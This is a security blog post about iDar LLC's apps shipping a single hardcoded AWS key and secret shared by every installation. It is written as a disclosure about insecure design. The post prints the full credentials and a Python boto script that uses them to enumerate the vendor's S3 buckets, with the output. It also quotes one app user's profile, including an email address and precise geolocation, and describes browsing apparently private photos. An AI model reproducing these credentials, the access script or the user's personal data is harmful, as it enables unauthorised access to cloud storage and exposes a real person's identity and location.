Wednesday 27 November 2013

How you should NEVER design your App. Part 1

After analisys of  thousands of applications (you can read about it here), we've drilled into a few cases manually. In the result, we found a group of vulnerabilities in designs, which, I think, should be revealed in details.

Why design's flaws? Often it can't be located with automated tools and can't be fixed with a simple patch - you have to redesigne the logic of your app. So, the cost of fix can become quite high. Today we will talk about a shared storage authentication.

Many apps (especially from "social networking" section) processes user's private data such as contacts, photos, geolocation by downloading it into cloud from devices. How does authentication and authorisation work here?

How I would like to see it

  1. Every user has his or her own auth-secret and private storage.
  2. Authentication and data goes through a secured channel (SSL socket, as an example)
all other is just a consequence of these two.

How does it actually work in some apps?

iDar LLC Products is a good example here. They have released 5 apps. 3 of them are free:


A few security-related words from vendor :



requested permissions:




Having applied http://hackapp.com :



AWS-secret - it's a prefix for access-tokens for Amazon cloud storage. Yes, Cloud  authentication secret is hardcoded in the app and shared between all installations. What's in the storage? By using this small python function we are enumirating buckets:

import boto
import boto.s3.connection
hook_conn = boto.connect_s3(aws_access_key_id = 'AKIAIBKQCDT68HKP66SQ',aws_secret_access_key = 'UpJrv49dOQEahn7/NmHK71mCqrMvqyAp569DrTSh')
for bucket in hook_conn.get_all_buckets():
        print "{name}\t{created}".format(name = bucket.name,created = bucket.creation_date)
keys = []
for key in bucket.list():
keys.append(key.name)
print "Files: ",len(keys)
Result:

dev_pub Files:  580
idarpub Files:  11
idd_prv Files:  190989
idd_pub Files:  1288
ide_pub Files:  72558
idf_pub Files:  0
idg_pub Files:  3136
idgpub Files:  4
idh_pub Files:  2900


Hmm...  .xml files in ide_pub. What's inside?

<person>
<deviceId>C5E0E4E1-9446-43D6-BE0C-368C8CEE1C1B-2061-00000122386F8407</deviceId>
<name>Vincentamaria215</name>
<isCompany>0</isCompany>
<isMale>1</isMale>
<age>0</age>
<seesMales>0</seesMales>
<seesFemales>1</seesFemales>
<theirOpinion></theirOpinion>
<myOpinion></myOpinion>
<myHearts>0</myHearts>
<theirHearts>0</theirHearts>
<latitude>39.919891</latitude>
<longitude>-75.173438</longitude>
<accuracy>0.000000</accuracy>
<lastInfoChange>373974150.028001</lastInfoChange>
<lastMoodChange>0.000000</lastMoodChange>
<lastPhotoChange>373974386.849133</lastPhotoChange>
<myContactXml>&lt;vcard format="vcarddav"&gt;&lt;n&gt;&lt;given&gt;&lt;text&gt;Vincentamaria215&lt;/text&gt;&lt;/given&gt;&lt;/n&gt;&lt;group name="work"&gt;&lt;/group&gt;&lt;group name="home"&gt;&lt;email&gt;&lt;text&gt;oldlimp@gmail.com&lt;/text&gt;&lt;/email&gt;&lt;/group&gt;&lt;group name="other"&gt;&lt;/group&gt;&lt;photo&gt;&lt;photofilename&gt;&lt;text&gt;yef66433b4cff0e2a385679807777df3e8a4b4967z74f3.jpeg&lt;/text&gt;&lt;/photofilename&gt;&lt;/photo&gt;&lt;/vcard&gt;</myContactXml>
</person>

Wow, it seems to be private profiles of the app users, with geolocations... Let's try Google Earth to represent the locations ...


Sweeer! But let's also take a look into other bukets, what's happening in, for example, idd_prv with 190989 files?



If it looks and feels like private photos, it seems to be private photos...


Moral of  the story

Cloud storage was compromised with all user's data in it by a stupid design flaw. So, we don't need to invent any malware with 0-day exploits to obtain user data while we have such apps in App Store.

P.S.



Remember these guys. They are iDar's developers, who have ignored my reports for a few weeks.